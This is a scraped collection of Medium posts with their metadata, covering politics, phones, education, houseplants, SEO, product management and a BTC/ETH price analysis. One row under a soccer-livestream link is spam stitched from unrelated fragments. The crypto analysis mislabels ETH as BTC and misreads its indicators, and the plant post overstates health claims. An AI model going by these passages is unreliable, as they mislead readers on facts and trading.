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I did read it. | I did read it. You’re not quoting him. At best you quote people who interpret him or shorten what he said and you’re passing them off as quotes. Which is highly suspect. Also your personal experience doesn’t make an objective fact that would be representative in any actual rational debate or argument. I read Gotha and that could be construed as the gist of what he said, you would still need to quote within the appropriate context. Like “ — Prof. X on Karl Marx’s Critique on Gotha”. If you look up the manuscript btw, it wasn’t complete and it was posted after his death by people who thought it should be out there. Also, socialism is a term that existed long before Marx, he just appropriated it as such.
Also, I provided plenty of actual facts and issues which you completely ignored, since under our current constraints they cannot be properly addressed and nor does it seem that you would care to. You seem to like things just as they are. You’d prefer that we spend far more of our income on things like healthcare and schooling than any other first world country on this planet, rather than actually help some people, because you simply don’t care. It doesn’t benefit you. Granted it most likely wouldn’t hurt you either, but that’s immaterial. You’d Prefer to protect the rich than help the poor because it seems like you think that is the natural order of things and you’ve benefitted in some marginal way from the system. Granted from what I can tell from the years that you quoted seeing these things that you most likely did benefit, especially looking at the fact that if you did go to college in the 70’s or 80’s. At that time you could still have some things like go to college, buy a house, raise a family, and more with far less debt and more disposable income when you adjust for inflation. So you benefited and that makes it alright. At this point you’re Republican-lite to me. Please stop spamming me with unsubstantiated crap please. Everything I put out was verifiably easy to find with reputable sources. You on the other hand have conflated personal experiences (generally involving authoritarian movements), misquotes and emotional diatribes with facts. | https://medium.com/@richarddicristino/i-did-read-it-8ec040770bdc | ['Richard Dicristino'] | 2020-11-26 14:48:55.045000+00:00 | ['Conservatives', 'Socialism'] |
In defense of small smartphones | Extremely “In a World…” styling and photo by Dan Bracaglia.
In defense of small smartphones
In a world dominated by increasingly large smartphones, one woman clings to her tiny iPhone SE and cries out for justice. DPReview Jul 18, 2019·4 min read
by Allison Johnson
I passed my phone out the window at the Starbucks drive through and the barista chuckled, “Wow, I haven’t seen a phone that small in a long time.”
I hear something along those lines a lot when someone encounters my 4" phone. Usually the next question is “Is that the iPhone 5?” with the curious tone of someone looking at a relic of an ancient society. “It’s an SE, it’s the same generation as the 6s.” I feel the need to defend my phone’s honor, because its smallness was a design choice.
But even I can’t deny that my small-yet-mighty SE is getting long in the tooth. I’m lucky to get through a whole day without a recharge, even on low power mode, and sometimes I encounter an pop-up ad that I can’t dismiss because it’s literally bigger than my phone screen and the little X icon is floating somewhere underneath the bezel.
I’ll be faced with a choice: upgrade to a larger phone, or upgrade to a huge phone
It’s not long for this world; one day soon it will tweet its last tweet, ping its last notification, ‘gram its last ‘gram. When that happens, I’ll be faced with a choice: upgrade to a larger phone, or upgrade to a huge phone. What a time to be alive!
While my SE is still ticking along I’ll make my plea to Apple, Google, Samsung, God, Alanis Morisette, whoever is listening: please don’t take away all of the tiny phones. Here’s why I think someone should keep a small phone in their lineup.
A small phone actually fits in your pocket
I carried around a Pixel 3 XL for a couple of months and I can report that it is not at all built to fit in the pocket of a pair of ladies’ jeans. I don’t carry my phone in my back pocket all of the time, but sometimes you’re carrying two beverages, a snack and a laptop into a conference room and there are limited options.
You can wedge the 3 XL into a pocket, kind of, but the SE fits all of the wayinto a pocket. In fact, I sometimes put the SE into my back pocket and completely forget that it’s there.I have repaired the screen on my iPhone SE twice. These statements are totally unrelated.
A small phone can be operated more easily with one hand
With the SE in the palm of my left hand, I can reach my thumb clear to the farthest corner with hardly any effort. This is extremely useful if you are, say, holding a coffee in one hand and checking the bus schedule on your phone with the other. Or, you can check the bus schedule with one hand free to shake skyward, cursing the greater being who made the bus you missed two minutes early and the one after it twenty minutes late.
The phones, they are large. Photo by Dan Bracaglia
In all seriousness, this was a crucial part of my decision to buy the SE. My standing-room-only bus commute demands that I hold on to the nearest rail at all times, so if I want to get ahead on work email before I get to the office I need to be able to use my phone one-handed. This is a tricky proposition with a bigger phone.
Minimal distractions
Let’s ignore the embarrassing fact that other tech journalists consider my primary phone to be an adorable, minimalist secondary phone for distraction-free podcast listening. Even as a primary phone, I find I have an easier time ignoring the SE when my brain should be doing something more constructive than looking at pictures of other peoples’ dogs on Instagram. That big screen on the Pixel XL is a beautiful thing to behold. But if you’re trying to spend less of your precious time on this earth staring at screens, a smaller phone is the way to go.
If you’re trying to spend less of your precious time on this earth staring at screens, a smaller phone is the way to go.
To be sure, notification management and your OS can help you minimize your screen time, and it helps that the SE’s generations-old screen technology is less visually appealing. But I think the ease with which the phone can be ignored is somewhat related to its size. Its cries for attention are easier to tune out.
I know we’ve passed the point of no return on phone size. Apps and interfaces just aren’t built for four-inch screens anymore, and there’s too much momentum in favor of big phones to go backwards. My SE will soon go the way of the Walkman, Windows ’95 and those running shoes with toes (we’re done with those right?!). My purse — and my heart — will be just a little bit heavier.
Got a big heart for small phones? Give us a few of those “claps” and we’ll keep publishing more features, photo industry commentary, thinly-veiled cries for help… you name it!
This article was originally published on DPReview.com. | https://medium.com/@dpreview/in-defense-of-small-smartphones-af70e6725528 | [] | 2019-07-18 23:01:30.173000+00:00 | ['Consumer Electronics', 'Smartphones', 'Opinion', 'iPhone', 'Apple'] |
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Facebook Live, LinkedIn Live, YouTube Live, Periscope, Instagram Live Over the past several years, major social media platforms democratized and commodified live streaming, with YouTube Live launching way back in 2011, and Facebook, Twitter, Instagram, and others (R.I.P. Meerkat) following suit. Most recently, LinkedIn launched live streaming on its platform, too, so businesses and professionals can reach their network in new and engaging ways.
These free platforms are great for brands and businesses looking to dip a toe in the live streaming pond, but they are not viable solutions for long-term scale and growth of a video strategy. Why? While ease of use is a major draw, for sure, none offer onboarding or customer support. If your team hits a snag with an event, you’re left to your own devices to problem-solve in real-time.
What’s more, streaming is only possible on a platform-by-platform basis. This means if you want to stream to Facebook and Twitter at the same time, you’ll need two cameras to live stream from each device — creating twice as much work (or more) and a less-than-ideal experience for the on-screen talent and viewers alike. ANOTHER POST.
Nobody is ever thrilled to pay nearly $11K for a golfer they probably hadn’t heard of until a handful of weeks ago, but both Zalatoris, along with Sam Burns will be at the top of my list this week on DraftKings.
Zalatoris gets the slight edge with his outstanding play in nearly every metric that’s not near the green. He ranks first amongst players in the field in SG: total and fourth in SG: approach. We also joke about getting the putter hot for a weekend, and if Zalatoris can improve on his SG: putting which ranks 129th in the field, he should absolutely contend yet again. Other Games.
He’s finished no worse than T19 in his last five events, including three top six finishes. His T6 result at Winged Foot opened up plenty of eyeballs, so he’ll be a popular play, which makes him all the more worthwhile in cash at the top.
While I was impressed with the way Will Zalatoris played last week at the U.S. Open, I’m more inclined this week to go with the more experienced Tour pro. Will will (that’s funny “Will will”) be a fixture on the PGA Tour — if not this year than next. He is one of the top players on the Korn Ferry Tour now. However, Corey Connors made the Playoffs and has been playing well last season (this is so weird calling it last season already). I’ll have both in a lineup this week, but my gut has me leaning with the Canadian. MORE POST. | https://medium.com/@aanzuig/soccer-live-sv-07-elversberg-vs-borussia-monchengladbach-livestream-full-match-german-c7357e0c7f47 | [] | 2020-12-22 10:04:01.298000+00:00 | ['Social Media', 'Soccer'] |
Foundations for Flourishing: A Grown Up Vision | Kids get asked all the time what they want to do when they grow up. High schoolers get asked what their plans are after graduation. College students get asked the same thing, with a big emphasis on work. But we never ask the most important question that foundationally will prepare a kid for success:
What kind of person do you want to become?
What a kid does professionally is important. We want them to be responsible for themselves and become self-sufficient. But it’s only one important part of the life equation- and it’s not the most important. A key phrase we’ve used over the years that resonates with parents is, “You can be successful in school and successful in career but still fail in life.” We’ve found that if we put most of our focus only on what kids do for work someday that we miss the opportunity to help them build a meaningful life. Because what we do for work ought to express who we are, what our sense of purpose is, and what kind of contribution we want to make in our lives. When we guide students to reflect on their identity, their purpose, their ambitions and the vision they have for the kinds of people they turn into — then the work part of their lives becomes a simpler problem to solve.
When students don’t know who they want to become, they lack the clarity and the confidence to make important decisions when they need to make them. Not to mention how many people discover later in life that the path they’re on and the people they’ve become doesn’t suit them (hello: midlife crisis). The choices students make affect them for the rest of their lives and will reinforce the trajectory they’re on. If students don’t have clarity about their character, they will lack the frame of reference to make wise choices, or the courage to take risks, or to build habits consistent with their ambitions.
But we CAN help them! We can help students find clarity about the vision they have for themselves in two distinct, surprisingly simple ways:
Provide many examples of adults who embody healthy qualities. That comes in the actual adults who work directly with kids, intentionally sharing who they are and what their personal lives are like. It involves them sharing vulnerable things about themselves and to express what motivates them and how their values drive their behavior. We can also offer them examples through the curriculum itself, especially characters in literature (English class) and historical figures (Social Studies/History). Students will figure out what resonates with them by seeing values and qualities lived out in real life. Guide students to reflect and define who they want to be in each area of their lives. We have plenty of opportunity and time to guide students to reflect in writing and verbal communication about who they are and who they want to turn into. We can do that in English class through journal prompts, we can do that through good Advisory or Homeroom curriculum, we can do that through assemblies and retreats, we can create mentoring programs, we can create Senior projects- we can do it. We just have to value it, prioritize it, and expect it.
Imagine if every student had that opportunity. Imagine if you had had that opportunity! There’s no way I would’ve gone to college to study Accounting if I had reflected on the person I wanted to be, especially if they challenged me to explain why. All the ingredients of my character were available during middle and high school- I just didn’t get the opportunity to think about it productively and put it all together. I mindlessly moved forward on a plan and life that belonged to someone else. But thankfully I had significant experiences and trained mentors who took me there in college. | https://medium.com/@scott_36749/foundations-for-flourishing-a-grown-up-vision-9d75f3b3b516 | ['Scott Schimmel'] | 2020-03-11 23:15:16.394000+00:00 | ['Wisdom', 'Vision', 'Students', 'Identity', 'Purpose'] |
The positive effect of having plants in your home | Spending time in nature is one of the most powerful ways to reinstate a sense of ease, so a small indoor garden can create a calm space to recharge after a busy day, essential in today’s constant activity. Plants in your home will remind you of the importance of living more consciously, being aware of one’s surroundings, and appreciating the environment. Planting is also a gentle, calm, and relaxing activity to unwind your mind.
This story was first published on HomeAnds.com.
Studies have shown that plants have a positive effect on your living
The most obvious positive effect plants have on your home is air filtering. Sitting in the general proximity of houseplants means that you will benefit from their air cleansing talents. A NASA study shows that houseplants remove toxins and indoor pollutants, such as benzene, formaldehyde, trichloroethylene, xylene, toluene, and ammonia, from the air. Based on several experimental studies, the presence of potted plants is helpful in many different settings including work, school, and hospitals. In particular, plants have been shown to:
Lower blood pressure (systolic)
Improve reaction times
Increase attentiveness
Improve attendance (at work and school)
Raise productivity (at work)
Improve well-being
Improve perceptions of the space
Lower levels of anxiety during recovery from surgery
Raise job satisfaction
Feeling good around plants is probably not surprising. After all, we surround ourselves with plants during celebrations and tragedies (i.e., weddings and funerals, respectively). We also set aside “sacred” green space for parks and community gardens in our cities and communities.
How houseplants make you more mindful
Mindfulness your ability to be present in the moment, aware of where you are, and conscious of the place and thing that you are doing. Life is available only in the present moment. Plants are a good way to help us be more mindful in our lives.
Living in the moment
Houseplants will remind you what it means to live “in-the-moment”. They react calmly and beautifully to their immediate surroundings — sunlight, air, water, temperature — and using those surroundings to thrive and grow. Flowers mirror our own unique and life-affirming essence and teach us the great lessons of patience, humility, and the beauty inherent in impermanence: cycles of the beginning, maturing, ending, transforming. Set aside time to appreciate your plants. Look at the growth habit and form of your plant — some plants grow up, others cascade down. Appreciate the texture, color, and shape of the leaves. Breathe in the scent of the soil.
Witnessing growth
Another positive effect of plants on mindfulness is their physical manifestation of growth. New leaves sprout, flower shoots emerge, the plant gets taller and wider. When you are mindful of your plant, you’ll discover little changes that let you know how things are going. Look for signs of new growth in your plants once a week. Observe how your plant develops new leaves. Each plant has its own artful way of producing new growth.
Connecting with nature
When you share your living spaces with plants, you bring the beautiful and diverse outside world into your home. You can engage with nature on a personal level in every room. Plants help remind you of different eco-systems on earth. And thanks to the adaptability of houseplants, you can recreate those environments.
Creating relationships with other living things
Being mindful also means embracing relationships with other living things. Maybe you work long hours. Perhaps you travel a lot. Sometimes you aren’t home long enough to own a cat or dog. Or even a goldfish. But that doesn’t mean you can’t surround yourself with life. A plant isn’t as demanding as a pet. All you must do is fulfill its basic needs (provide the right light and hydration) and you will be rewarded with a beautiful living thing. Adding plants to your living space helps you remember that you are a citizen of the world.
Conclusion — having a few plants at home is a must!
Plants are indispensable to human life. Through photosynthesis, they convert the carbon dioxide we exhale into fresh oxygen, and they can also remove toxins from the air we breathe. If you keep indoor plants in your home and office, you already know their power. In addition to looking great, they keep you connected to the great green world outside. And they remind you that the world is a place of growth. Plus, multiple studies show that being in proximity to plants reduces stress, increases productivity, and even helps you heal and sleep better. | https://medium.com/@homeands/the-positive-effect-of-plants-in-your-home-d8faf90cfe7d | [] | 2020-12-27 10:15:50.872000+00:00 | ['Indoor Garden', 'Home Decor', 'Home', 'Interior Design', 'Plants'] |
Heavy Reading: Bubbletone is one of the Leading Blockchain Technology Vendors | Heavy Reading, one of the most authoritative media in telecom, has published a detailed report on what relevance blockchain has for the telecom industry. The report profiles seven blockchain technology vendors with interesting propositions in the market — Bubbletone has the first position in the list.
Called Blockchain Opportunities for CSPs: Separating Hype From Reality, the report explores the drivers for adoption of blockchain by communications service providers (CSPs) and evaluates the main opportunities for blockchain in the telecom sector. It also considers how to evaluate whether blockchain is appropriate for a particular use case and examines the main use cases that CSPs are investing in currently.
About Heavy Reading
Heavy Reading, the research division of Light Reading, offers deep analysis of emerging telecom trends to network operators, technology suppliers, and investors. Its product portfolio includes in-depth reports that address critical next-generation technology and service issues, market trackers that focus on the telecom industry’s most critical technology sectors, exclusive worldwide surveys of network operator decision-makers that identify future purchasing and deployment plans, and a rich array of custom and consulting services that give clients the market intelligence needed to compete successfully in the global telecom industry. | https://medium.com/bubbletone-blockchain-in-telecom/heavy-reading-bubbletone-is-one-of-the-leading-blockchain-technology-vendors-2c701f6c4fa6 | ['Bubbletone Blockchain In Telecom'] | 2018-09-05 15:50:46.843000+00:00 | ['Telecom', 'Heavy Reading', 'Blockchain', 'Telecommunication', 'Communication'] |
5 Tips to Choose Your SEO Company | 5 Tips to Choose Your SEO Company
Making the right choice in selecting the best SEO company for you can have significant implications for your company and your bank accounts. What is the difference between a rise of organic visitors and a decline in Google rankings is the choice between a good or poor SEO, also known as a Search Engine Optimization expert. However, with the right SEO partnership, businesses of every industry can boost the sales of their business and reduce the amount they spend on advertising and improve the experience of users. Before signing an agreement with an upcoming SEO company there are a few tips and tricks that every business owner ought to consider.
SEO isn’t magic, so stay clear of people who talk about it in an abstract way.
SEO, the method of optimizing your site to attract organic traffic is a difficult process, which implies that it’s frequently misunderstood. Many people claim that they have a special understanding of Google’s algorithms,
Furthermore, shortcuts such as buying hyperlinks, keyword stuffing, and cloaking may cause search engines to degrade your site. These practices are known as Black Hat SEO since they are in violation of the rules of search engines.
2. Be specific about your objectives and locate a company that can achieve your needs.
To avoid confusion, you and your team must define exactly what you want to accomplish through SEO. Are you hoping to increase sales on your product through the use of terms? Have you been struggling to decrease the bounce rate of your website or improve the conversion rate? If you’re seeking to boost your ad revenue, do you prefer large audiences or a small audience that spends longer, on average, visiting your website? Are you seeking assistance in building a following on social media or creating content that is sponsored and other solutions that exceed SEO?
3. Don’t just do the results of a Google search for “best SEO lists. Instead, use the word of mouth.
The top companies typically have a large number of long-term clients who have recommended friends in their personal circle who use the same company. Only businesses that require new clients will be ranked for “best SEO firm located in Austin,” for example. The same applies to other keywords as well for example “Best SEO services” and “best SEO tools.”
The majority of the companies listed on this list have been paid a premium to get their place on the list. Good SEO companies already have too much business to bother paying for a spot on a “bestseocompanies.com” or “topseos.com” list. However, this doesn’t mean there aren’t any reliable lists, it’s just that you should be able to trust the information provided by a “best SEO firm”
4. Find an SEO company with metrics that can benefit you.
When you are deciding on the next SEO company It is essential that you and the consultant have the exact same understanding with regards to Key Performance Indicators or KPIs. KPIs are metrics that be applied to any aspect of business and may refer to a range of aspects in SEO itself. For instance, a business that is launching a new product may be different from an older business that has a loyal customer base.
5. Select an SEO company that is able to communicate effectively.
While you’re entitled to the tools they use to gauge your KPIsfor example, SEMRush Google Search Console Google Analytics Most likely, you’re not able to study all the information. This is why you’ll require an SEO expert team working with you on communicating with you and creating trust. | https://medium.com/@webinfotechglobal/5-tips-to-choose-your-seo-company-7a3c9ede69c | ['Web Infotech Global'] | 2021-12-25 09:23:56.254000+00:00 | ['SEO', 'Smo', 'Digital Marketing', 'Seo Services', 'Updates'] |
Obama’s “A Promised Land” applied to Product Management | A Product Land
Yesss, I did it.
I’ve written a piece that pretty much sums up that running for President and running a product line are grounded in the same principles.
Either that or I’m a product geek that sees product in everything I do/ watch/ see/ eat.
Last year I drafted an unpublished product piece that I entitled 5 Lessons from The Witcher applied in Product Management (and Life). I was eager, back then, to write about about how fighting monsters wasn’t so dissimilar to fighting stakeholders (I kid, all stakeholders are awesome! :).
The hype of The Witcher had passed before I got around writing it up, but interestingly enough I still kept the soundbites that I had jotted down as I was binging through episodes:
My failed attempts at drafting a piece after binged watching episodes of The Witcher
But I digress.
Why A Promised Land?
Like many product folks, I had compiled a reading wish list with a 2021 resolution to read voraciously this year. Having released his book in Nov 2020, Obama’s A Promised Land ended up being one of my top 2021 picks.
So on to it. Why Obama would make an awesome product manager.
Probably the coolest president of all time
#1 Know your constituents / customers, and serve them
Obama was a people’s man. The people’s man. Chapter after chapter (and mind you there’s probably 10+ chapters before he actually became President), there’d be snippets that gave insights on how Obama, in his pre-Senator days, spent days, weekends, months, door knocking, visiting communities, speaking to, and more importantly, listening to his constituents about the problems they faced.
During his time as a presidential candidate, he would do the same — spending Saturdays visiting ethnic neighbourhoods/ Sundays at Black churches; traversing from the rich in the “mansion-filled North Shore” to Chicago towns that were poverty stricken. Listening to his “customers” was what led him to design a message, a campaign position, that resonated with the masses on a shared cause for change.
Thinking back to product, it’s pretty much the same. We live in a product led growth era, where it’s critical to know, listen and understand your end customers and build a product for them. Marty Cagan in his recent book on building Empowered product teams aptly put:
Product teams exists to serve our customers, in ways that meet the needs of our business.
Oh hello Marty. Looking snazzy.
How to know your customers?
The first thing that comes to mind on how one would get to know your customer may start with someone saying “Hey, let’s conduct some customer interviews”.
This process would probably involve segmenting the right customers, setting a series of (non-leading) questions around the product or problem statement, setting up meets with users or merchants, and post-interview collating notes for next steps etc. etc.
Whilst there’s no substitute for meeting real life physical human customers, the reality is that most product teams may not have the resources, time, nor dedicated teams to conduct customer interviews for their thousand/millions of existing customers.
So what are some of the other ways to know your customers better (if you don’t have the time or resource for interviews?):
Find customer proxies: A tip that we proffer to our product guys — find customer proxies. Customer proxies are the equivalent of (in Obama’s case) speaking to the leader of your local council, the person that interacts enough with the locals to provide a strong collective viewpoint of the constituents. In the case of product, customer proxies could be — e.g. our Customer Happiness team for consumers — these are your product frontliners, the team that day-in day-out are on the phone/ email/ whatsapp/ telekinetic communication with your customers, and usually, the most critical of customers. Another customer proxy for our merchants is our Sales team. Who better to know the key problems of our merchants than the Sales team who are pitching your products. Speak to one Sales rep and it’s like you’ve spoken to 10 merchants.
A tip that we proffer to our product guys — find customer proxies. Customer proxies are the equivalent of (in Obama’s case) speaking to the leader of your local council, the person that interacts enough with the locals to provide a strong collective viewpoint of the constituents. In the case of product, customer proxies could be — e.g. our Customer Happiness team for consumers — these are your product frontliners, the team that day-in day-out are on the phone/ email/ whatsapp/ telekinetic communication with your customers, and usually, the most critical of customers. Another customer proxy for our merchants is our Sales team. Who better to know the key problems of our merchants than the Sales team who are pitching your products. Speak to one Sales rep and it’s like you’ve spoken to 10 merchants. Scour customer reviews on the app store/ play store: I do this at least once or twice a month as a checkpoint on how users are responding to our products. Recently, one of my check-ins uncovered a severe bug in our Android app that unfortunately failed to raise an alert in our errors logs. Raising a Code Pink (coined), our teams hopped on quickly to nip it in the bug (punned). Bear in mind, that usually only the most scathing reviews would make it to the app store reviews wall. As a product manager, you need to bite the ego and remind yourself:
“Your most unhappy customers are your greatest source of learning” — Bill Gates
Vega Lambardt, whoever you are — you are my biggest source of learning and I thank you for your witty feedback which has spurred us to do better as a product team. If you’re reading this, I’d love to give you some Fave eCashback.
Product usability and survey tools: Interviewing customers have also been made harder through the pandemic, where in no way is “meeting someone for a customer interview” top of anyone’s priority list. Our Head of Product Design had discovered and introduced Maze to our team, where we were able to do rapid product validation and usability testing and get data driven results for product decision making. Nice.
#2 Evangelise
When Obama started his campaign, he was terrible at crafting responses in debates, or answering questions in forums with his constituents. Having been a professor and writer, he would actually try to answer questions by offering detailed, academic, long winded responses.
In a postgame conversation with David Axelrod, Obama’s then Chief Strategist, he was given a harsh critique:
“Your problem,” he said, “is you keep trying to answer the question.” “Isn’t that the point?”, I said. “No, Barack,” Axe said, “that is not the point. The point is to get your message across. What are you values? What are your priorities? That’s what people care about. Look, half the time the moderator is just using the question to try to trip you up. Your job is to avoid the trap they’ve set. Take whatever question they give you, give ’em a quick line to make it seem like you answered it… and then talk about what you want to talk about.” “That’s bullshit,” I said.
The most effective debate answers or product pitches, are usually those that are designed to evoke emotion (ideally alongside facts), identify the common enemy (in the product world this could be — the competition, the bad user experience, bad business numbers), and create a vision of something memorable.
I remember when I first stepped into a Product Lead role, one of my first call to action was to draw up a competencies framework to build growth in the team. I had premised our framework one of Marty Cagan’s coaching tools and thought, hey, this fits pretty well with what we are trying to achieve.
And here is how we judge, I mean evaluate the competencies of our PMs. Happy to share the full version to any aspiring product leads.
However, one often debated competency was this vague, intangible, yet in my mind an undoubtedly important skill called evangelism. Questions from the team was aplenty:
“How do you define product evangelism?”
“How do you measure evangelism?”
“Why is evangelism important in the product development cycle?”
I will always remember this quote from Maya Angelou:
At the end of the day people won’t remember what you said or did, they will remember how you made them feel.
Story time.
In a sea of 20 pitches, which would you remember?
Last quarter, we introduced a new format for setting our product roadmap.
We were tired of roadmaps prioritised in silos, had problems communicating or had to communicate repeatedly our priorities/ timelines/ roadmap, we had constant challenges on our priorities (being a regional product team, every country or business stakeholder questioned — Why did things appear to take forever to launch? Why should we prioritise a user experience feature over features that would drive business numbers?).
We don’t see departments as working silos, but rather, encourage congregation of the collective minds and work as a #oneteam (one of our strongest Fave values)
We experimented with our inaugural Product x Business Huddle (Version 2020). A full day session designed to present a series of pre-prioritised pitches to a collective of group of product leaders, business leaders and management. The session was aimed to align our North Star, set our business and product strategy for the quarter, drive awareness of our priorities and encourage debate on the products our business would be built on.
Our “prioritisation” led us no less than around 20 pitches throughout the day. We had by any means possible made the entire day as engaging as possible with pockets of interactive polls, robust Q&A etc…. but even the most attentive would falter at one point or another.
Whilst all pitches by all our teams were amazing (and I mean that genuinely, I was impressed by the standard delivered by the teams), there was one that stood out — an imagery of a football field.
“Imagine a football field filled with people who’ve come to watch a match, that’s the amount of users that you’d miss out on if you don’t deliver on X product”, one of our PMs had highlighted.
Product Managers have to be clear communicators and inspiring orators. A non-negotiable skillset.
Obama is often “speechmarked” for certain styles that could be applicable to evangelism of your product:
A focus on powerful words – “A change is brought about because ordinary people do extraordinary things” Master of metaphors – “Braving icy currents and storms to come” Over preparation and self-preparation – Obama is known for writing down long drafts on yellow legal pads over days for the perfect delivery. Test driving speeches and concepts with key advisors — I often do this with team leaders whom I trust to give scathing but honest reviews of my concepts or product ideas.
As a PM, your life is full of pitches. Pitches to the technical team. Marketing team. Business teams. Your own product team. If you believe in the impact of your products, you have to evangelise.
#3 Find your Ted Kennedy, or be a Ted Kennedy
Best buds 4 life.
Ted Kennedy was a political legend.
Not only was he one of American’s longest running Senators, he was also brother to a President (John F Kennedy), a U.S. Attorney General and Senator (Robert F. Kennedy) and father of a Congressman (Patrick J. Kennedy). Practically U.S. royalty if there ever was one.
He was also instrumental to Obama’s success in more ways than one.
In his book, Obama shares his months before his decision to run for President. He was young (47 at the time), inexperienced by a mile, a rookie, and full of self-doubt, uncertain about the move to presidency. He had spoken to a range of advisors, including Ted Kennedy, who was the push that Obama needed to throw his hat in the race.
Famously, Kennedy told Obama:
“The power to inspire is rare. Moments like this are rare. You think you may not be ready, that you’ll do it at a more convenient time. But you don’t choose the time. The time chooses you. Either you seize what may turn out to be the only chance you have, or you decide you’re willing to live with the knowledge that the chance has passed you by.”
Months later, Ted Kennedy endorsed Obama in a move that would change the course of the 2008 presidential elections. By openly endorsing this rookie President, he effectively secured Obama’s nomination for presidency:
“There was another time, when another young candidate was running for president and challenging America to cross a New Frontier. He faced public criticism from the preceding Democratic president, who was widely respected in the party. Harry Truman said we needed “someone with greater experience” — and added: “May I urge you to be patient.” And John Kennedy replied: “The world is changing. The old ways will not do … It is time for a new generation of leadership.” — Ted Kennedy
As a product leader, who you endorse and what you decide to endorse can make or break your team, your culture, a whole presidential election. It’s important to remember that by sheer fact of your position, your voice and your actions carry weight and influence, and play a critical part in shaping the future.
Endorse your team
As a product leader, one of the most important things you can do for your team is to endorse them. Endorsing them means trusting your team, and trusting that you have hired these bunch of smart creatives to be able to solve problems instead of handing them solutions.
In an old but gold Culture Deck by Netflix, Reed Hasting famously advocated for a culture to lead with context, not control. An amazing question to ask yourself when a team member comes back to you with what is seemingly a shitty idea is “What context do you have, that your team member might not have, to have generated this result?”. Conversely, as a product manager, you might ask the same question, “What context did I get, that my manager did not, that led me to generate this result?”.
Endorse Change
As a product manager or leader, it’s easy to endorse the status quo, succumb to the experienced, or please stakeholders. It’s harder, to embrace novel ideas, endorse “rookies”, or adapt to changes in business climate or culture.
Product leaders often need to carry with the the mark of humility and reset themselves by adopting a beginner’s mindset (a principle I reminded myself often when building products during the covid pandemic).
I recall in the early days of the pandemic, we did the painful move of throwing half year roadmap out the window. We were running an offline to online business in a world where the offline was shut to the world. Our status quo, was challenged. We had to reset ourselves to endorse change, set ourselves to a 30 days roadmap and daily/ weekly check-ins. As the covid situation shifted, so did we as a product team, had to shift, experiment, fail, and try again.
#4 Rally your troops to a vision
The less known woman behind Obama’s campaign
Edith S. Child. A name that few would know unless you’ve read Chapter 5 or live in the South Carolina town of Greenwood.
Obama tells of a time when he was simply having a bad day. An endorser refused to fund him unless he travelled hours to a town called Greenwood to meet the local council there. He had also opened the papers to a bad headline of himself. It was a rainy day, torrential with the type that blew off your umbrella and got you soaking wet.
When he got to the town of Greenwood, the turn up was a measly group of less than 20, the situation less than inspiring for a presidential candidate.
As Obama was navigating through the meet, a lady from the crowd shouts “Fired up!”. Obama was rightfully confused.
Again, she shouted, “Fired up!”.
The small crowd started responding, “Ready to go!”.
And as the chant cuts the mood, Obama himself was getting Fired up! This chant from an unknown local lady in Greenwood was apparently a tradition to rally the team up at any team meeting, sporting event, etc. and would carry on to inspire the presidential campaign slogan.
It’s amazing how a single person could through their enthusiasm and excitement, mobilise an entire nation.
As product manager, we wear many hats. We are the problem solver, the collaborator, the mediator, the challenger, the gatekeeper, the innovator, the evangelist… and in the sea of human interactions across the 100+ stakeholders we deal with weekly, we play an critical role inspire, to motivate, to rally across teams towards a shared cause (amidst the product development bumps and failures).
Product management was never made for the faint hearted. It takes a kind of grit, resilience and a fire within to wake up in the morning and know you might fail when you’re creating something new. But you do it anyways because you know you’re going to create something life changing.
Are you fired up? Are you ready to go?
I know I am.
Happy 2021 to all the people I trust and love.
WJ | https://medium.com/productschool/obamas-a-promised-land-applied-to-product-management-9c2d3c4f68c7 | ['Wei Jia Chen'] | 2021-02-03 05:33:34.155000+00:00 | ['Product Leadership', 'US Politics', 'Product Management', 'Leadership', 'Organisational Culture'] |
ZB Market Daily: BTC & ETH weekly technical analysis | BTC Price started last week with a strong bullish momentum to the upside. Prior to last week trading session. BTC Price gained support at $18025 after a major correction of all time high of $19905.6.
This support Price level became a platform for demand for Bitcoin by institutional and retail traders, which caused BTC Price to rally over last week trading session.
Last week, BTC Price opened on Monday trading session with a high of $19166.8. BTC Price gained 0.37% on Monday and closed at $19238.4. The bulls steered at $19380.8 resistance that was created on the 3rd and 7th of December trading session.
On the 15th of December, the bulls broke the resistance and tried to retest previous last week all time high of $19915. BTC Price closed with a daily bullish pin bar which gave strong bullish bias for uptrend continuation.
On the 16th of December, BTC Price hedged higher as volume increased as result of the bullish pin bar signal that was printed on the 15th of December.
BTC Price was driven with high bullish momentum to the upside. BTC Price rallied to a high of $21490.2 at 11.53% gain.
Traders booked for profit at $21490.2 which caused BTC Price to pull back to a weekly low of $18856.0. The bulls wrestled with BTC Price at a resistance of $19720.4.
During the New York opening trading session, the bulls got volume to the upside. BTC Price made a retracement and closed with daily high of $23754.5.
During the weekend volatility, BTC Price hedged higher to a yearly all time high of $24265.4
Traders liquidated their long position, which caused BTC Price to make correction from the yearly all-time of $24265.4 to a low of $23119.
BTC Weekly Chart
Technically from daily time frame perspective, BTC Price made a rejection at the upper band of the Bollinger band and closed the last day of the week with a bearish candle at $23513.2.
BTC Price had a wide range from the 20-period moving average, a probable retest of the SMA could be tested in coming week.
RSI down sloped from 78 to 75.31 mark in the over-bought territory. This is a signal for near term correction of the last week rally.
Areas of concentration in the week ahead will be $23125.6 and $24245.1, if the bears break and close BTC price below $23125.6 in the first day of the coming week.
We could have a major correction of the uptrend for BTC price to print a higher low of $20297.1. But if the bulls break above $24245.1, the rally will continue in the week ahead.
ETH
ETH Price started last week with an indecision to continue with previous week bullish momentum to the upside.
ETH price opened on Monday trading session with $589.43. ETH Price flipped lower to retest a broken resistance of $574.06. Although the bulls pull ETH Price to close at the Monday opened. This market scenario formed a Doji candle.
ETH repeated this market pattern on Tuesday due to lack of volume, although ETH Price printed high of $594.58.
ETH price steered on the 6th December resistance which caused ETH Price to close at the opened Price. ETH Price got volume as the bears were weak to push Price lower than $575.60. Traders accumulated the underlying asset at $580.21.
On the 16th of December, ETH rallied to a high of $713.95. Traders booked for profit, which caused a pull back. ETH Price closed the intraday at $635.38.
More attempts to push ETH Price by the bulls failed as many traders liquidated their position in the following day trading session.
As Bitcoin dominance increased on the weekend, volume got decreased in ETH trading pair. ETH Price ranged as the bulls got weak.
ETH price closed the week bearish although above previous week high.
ETH Weekly Chart
Technically from daily time frame perspective, ETH Price made a rejection at the upper band of the Bollinger band and closed the last day of the week with a bearish candle at $636.55.
BTC Price had a wide range from the 20-period moving average, a probable retest of the SMA could be tested in coming week.
RSI down sloped from 66.72 to 60.43 mark in the over-bought territory. This is a signal for near term correction of the last week rally.
